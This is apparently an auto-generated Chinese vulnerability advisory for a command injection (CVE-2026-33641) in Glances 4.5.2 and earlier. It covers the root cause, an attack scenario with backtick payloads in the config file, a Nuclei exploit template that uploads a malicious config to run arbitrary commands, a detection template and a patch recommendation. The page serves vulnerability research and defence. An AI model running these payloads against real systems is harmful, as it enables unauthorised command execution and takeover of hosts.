[webapps] glances 4.5.2 - command injection

CVE-2026-33641

Glances 4.5.2及以下版本配置解析时反引号内命令未经校验直接执行,导致命令注入。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-33641
漏洞类型命令注入(CWE-78)
受影响版本Glances <=4.5.2
危害等级High · CVSS 7.8
发布日期2026-05-13
提交者Stepanov Daniil
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在config.py的Config.get_value()方法中,使用正则表达式`re_pattern`查找配置值中反引号包裹的子串,并直接调用globals.py中的system_exec()函数执行,该函数使用subprocess.run()且未对命令内容做任何验证或限制。

🎯 攻击场景

攻击者需要能够修改或影响Glances配置文件(如通过文件上传、共享环境、恶意配置文件诱导用户加载)。 1. 构造包含恶意命令的配置文件,例如将url_prefix值设为\`touch /tmp/pwned\`。 2. 启动Glances时通过-C参数加载该配置文件,或触发配置重载。 3. Glances解析配置文件时,自动执行反引号内的命令。 4. 成功时命令以Glances进程权限执行,通常为root或系统服务权限。

💥 漏洞影响

攻击者可利用该漏洞在目标系统上以Glances进程权限执行任意系统命令,常导致远程代码执行、权限提升(至root)、数据泄露或完全控制主机。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-33641-exploit

info:
  name: Glances 4.5.2 - Command Injection Exploit
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. This exploit attempts to execute arbitrary commands through the vulnerable configuration upload or modification endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection,rce

variables:
  cmd: "id"

http:
  - raw:
      - |
        GET /api/2/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"

  - raw:
      - |
        POST /api/2/config/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------99868198152613534213329528222

        -----------------------------99868198152613534213329528222
        Content-Disposition: form-data; name="file"; filename="malicious.conf"
        Content-Type: text/plain

        [outputs]
        url_prefix = `{{cmd}}`
        -----------------------------99868198152613534213329528222--

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"
    stop-at-first-match: false
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'uid=\d+\([^)]+\)'
          - 'gid=\d+\([^)]+\)'
          - 'groups=\d+\([^)]+\)'

🔬 深度技术分析

1. create_malicious_config()生成临时配置文件,内容为[outputs]下url_prefix = \`touch /tmp/glances_pwned\`。 2. exploit()调用subprocess.run执行glances -C <恶意配置> --timeout 2,触发配置解析。 3. Config.get_value()通过正则提取反引号内的命令`touch /tmp/glances_pwned`,调用system_exec()执行。 4. system_exec()使用command.split()分割命令参数并通过subprocess.run()执行。 5. PoC检查/tmp/glances_pwned文件是否存在以确认命令执行成功。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-33641-detection

info:
  name: Glances 4.5.2 - Command Injection Detection
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. An attacker can execute arbitrary commands by modifying configuration files containing backtick-enclosed substrings.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2/version"
      - "{{BaseURL}}/api/2/version/"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4.5.0"
          - "4.5.1"
          - "4.5.2"
        condition: or
      - type: word
        part: body
        words:
          - "version"
        condition: or
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

升级至Glances 4.5.3及以上版本(该版本完全移除了动态反引号执行特性)。 临时缓解措施:限制配置文件写入权限,不使用不可信来源的配置文件。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-19 08:06 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)